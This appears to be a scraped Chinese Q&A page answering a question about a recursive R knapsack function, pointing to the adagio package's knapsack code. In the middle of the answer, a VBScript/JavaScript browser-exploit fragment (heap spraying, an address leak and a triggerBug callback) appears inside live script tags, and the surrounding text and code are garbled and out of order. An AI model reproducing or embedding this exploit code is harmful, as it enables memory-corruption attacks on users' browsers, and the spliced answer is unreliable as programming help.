我一直试图制定一个简单的背包问题,但我不明白为什么它不起作用。
i <- c(1,2,3,4)
v <- c(100,80,10,120)
w <- c(10,5,10,4)
k <- 15
F <- function(i,k){
if (i==0 | k==0){
output <- 0
} else if (k<w[i]){
output <- F(i-1,w)
} else {
output <- max(v[i]+ F(i-1, k-w[i]), F(i-1,k))
}
return(output)
}
答案 0 :(得分:0)
查看包adagio的<script type="text/vbscript">
Dim bl
Dim plunge(32)
Dim y(32)
Class ArrayWrapper
Dim A
Private Sub Class_Initialize
' 2x2000 elements x 16 bytes / element = 64000 bytes
ReDim Preserve AA(1, 2000)
A = AA
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Spray
End Class
Function getAddr (arg1, s)
bl = Null
Set bl = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set bl.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function function_calling_getAddr (arg1)
Dim addr
' Create a vbscript class instance
Set sp = New Spray
' Get address of the class instance
addr = getAddr(arg1, sp)
' .....
End Function
</script>
<script type="text/javascript">
Dim addr
' Create a vbscript class instance
Set sp = New Spray
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {function_calling_getAddr(o);}, 50);
</script>
函数可以帮助您,其中knapsack
是权重向量,w
利润向量和p
是你的cap
。 (见k
)
?knapsack
然而,你的功能中的问题似乎是
您没有声明函数中使用的所有对象(knapsack <- function (w, p, cap) {
n <- length(w)
x <- logical(n)
F <- matrix(0, nrow = cap + 1, ncol = n)
G <- matrix(0, nrow = cap + 1, ncol = 1)
for (k in 1:n) {
F[, k] <- G
H <- c(numeric(w[k]), G[1:(cap + 1 - w[k]), 1] + p[k])
G <- pmax(G, H)
}
fmax <- G[cap + 1, 1]
f <- fmax
j <- cap + 1
for (k in n:1) {
if (F[j, k] < f) {
x[k] <- TRUE
j <- j - w[k]
f <- F[j, k]
}
}
inds <- which(x)
wght <- sum(w[inds])
prof <- sum(p[inds])
return(list(capacity = wght, profit = prof, indices = inds))
}
和w
):您还应该将它们声明为函数的参数。
v
这是函数的名称,在函数内部调用。因此,由于F
永远不会成立,因此该函数将永远不会停止处理。